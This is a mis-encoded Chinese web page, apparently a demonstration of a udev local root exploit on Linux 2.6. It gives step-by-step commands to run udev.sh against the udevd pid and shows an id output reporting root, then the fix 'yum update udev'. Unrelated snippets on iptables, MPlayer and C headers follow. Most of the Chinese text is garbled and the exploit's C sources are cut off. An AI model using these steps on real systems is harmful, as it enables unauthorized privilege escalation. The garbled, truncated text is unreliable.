Linux¹¥·ÀÖ®udev©¶´ÑÝʾ
	
    
    
	´Ë©¶´Õë¶Ôlinux2.6Äںˣ¬Ö»ÒªÓÐÆÕͨÓû§È¨ÏÞ£¬¼´¿ÉÌáÉýrootȨÏÞ£¬¿ªÊ¼ÊµÑé°É  1¡¢¸´ÖÆÒÔÏ´úÂ룬±£´æÎªudev.sh£¬²¢¸³Óè¿ÉÖ´ÐÐȨÏÞ  2¡¢#useradd test //н¨Ò»¸öÆÕͨÓû§  3¡¢#su - test //Çл»ÖÁtestÓû§  4¡¢#ps -ef |grep udev //²é¿´udev id  root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d  5¡¢#sh udev.sh 473 //Ö´ÐÐÃüÁî,udevdµÄidºÅ¼õ1£¬¼´473  6¡¢sh-3.2# id  uid=0(root) gid=0(root) groups=506(test)  ´ËʱtestÒѾÌáÉýÖÁrootȨÏÞ  ÈçºÎÐÞ¸´Â©¶´£¬Ö»ÒªÉý¼¶udev¾ÍÐÐÁË  #yum update udev   ¸½´úÂ룺  #!/bin/sh  # Linux 2.6  # bug found by Sebastian Krahmer  #  # lame sploit using LD technique   # by kcope in 2009  # tested on debian-etch,ubuntu,gentoo  # do a 'cat /proc/net/netlink'  # and set the first arg to this  # script to the pid of the netlink socket  # (the pid is udevd_pid - 1 most of the time)  # + sploit has to be UNIX formatted text :)  # + if it doesn't work the 1st time try more often  #  # WARNING: maybe needs some FIXUP to work flawlessly  ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang  cat > udev.c  program.c  suid.c 
    
     
	
	
    
    
	Ïà¹ØÎĵµ£º
        
    
    ×ÜÀÀ
ÓÃiptables -ADC À´Ö¸¶¨Á´µÄ¹æ
Ôò
£¬-AÌí¼Ó -Dɾ³ý -C ÐÞ¸Ä
iptables - [RI] chain rule num rule-specification[option]
ÓÃiptables - RI ͨ¹ý¹æÔòµÄ˳ÐòÖ¸¶¨
iptables -D chain rule num[option]
ɾ³ýÖ¸¶¨¹æÔò
iptables -[LFZ] [chain][option]
ÓÃiptables -LFZ Á´Ãû [Ñ¡Ïî]
iptables -[NX] chain
ÓÃ -NX ......
	
    
        
    
    LINUX--ÐÞ¸ÄIPµØÖ·
A¡¢ÐÞ¸ÄipµØÖ·
¼´Ê±ÉúЧ:
# ifconfig eth0 192.168.0.20 netmask 255.255.255.0
Æô¶¯ÉúЧ:
ÐÞ¸Ä/etc/sysconfig/network-scripts/ifcfg-eth0
B¡¢ÐÞ¸Ädefault gateway
¼´Ê±ÉúЧ:
# route add default gw 192.168.0.254
Æô¶¯ÉúЧ:
ÐÞ¸Ä/etc/sysconfig/network-scripts/ifcfg-eth0
C¡¢ÐÞ¸Ädns
ÐÞ ......
	
    
        
    
    ¶ÔÓÚ¶¯Ì¬Á´½Ó¿âºÍ¾²Ì¬Á´½Ó¿âµÄ¸ÅÄîÒÔ¼°Á´½Ó·½Ê½²»ÔÙÀÛ׸¡£Ö±½Ó¿ªÊ¼ÉÏ´úÂëºÍ½øÐбàÒë¡£-__-||¡£
´úÂëºÜ¼òµ¥£¬ºáÊú¾ÍÈý¸öµ±¼ÒµÄ¡£
¿âÍ·Îļþcorey.hpp:
#ifndef LIBRARY_H
#define LIBRARY_H
void add(int,int,int*);
#endif 
¿âʵÏÖÎļþcorey.cpp
#include "corey.hpp"
void add(int a,int b,int *c){
	int total=a ......
	
    
        
    
    ²¥·ÅÎļþ
ʹÓà MPlayer ²¥·ÅýÌåÎļþ×î¼òµ¥µÄ·½Ê½ÊÇ£º
mplayer <somefile>
MPlayer »á×Ô¶¯¼ì²âÎļþµÄÀàÐͲ¢¼ÓÒÔ²¥·Å£¬Èç¹ûÊÇÒôƵÎļþ£¬Ôò»áÔÚÃüÁîÐÐÖÐÏÔʾ¸Ã²¥·ÅÎļþµÄ״̬ÐÅÏ¢£»¶ø¼ÙÈçÊÇÊÓÆµÎļþµÄ»°£¬Ôò»á´ò¿ªÒ»¸öеIJ¥·Å´°¿Ú¡£
µ¹ÍËÓë¿ì½ø
ÔÚ²¥·ÅÎļþµÄʱºò£¬Äã¿ÉÒÔͨ¹ýÒÔÏÂÈý×é¿ì½Ý¼üÀ´¶Ô²¥·Å½ø³Ì½øÐе¹ÍËÓ ......
	
    
        
    
    linux³£ÓÃÍ·ÎļþÈçÏ£º
POSIX±ê×¼¶¨ÒåµÄÍ·Îļþ
<dirent.h>       
 Ŀ¼Ïî
<fcntl.h>         Îļþ¿ØÖÆ
<fnmatch.h>    ÎļþÃûÆ¥ÅäÀàÐÍ
<glob.h>   
 ·¾¶ÃûģʽƥÅäÀàÐÍ
< ......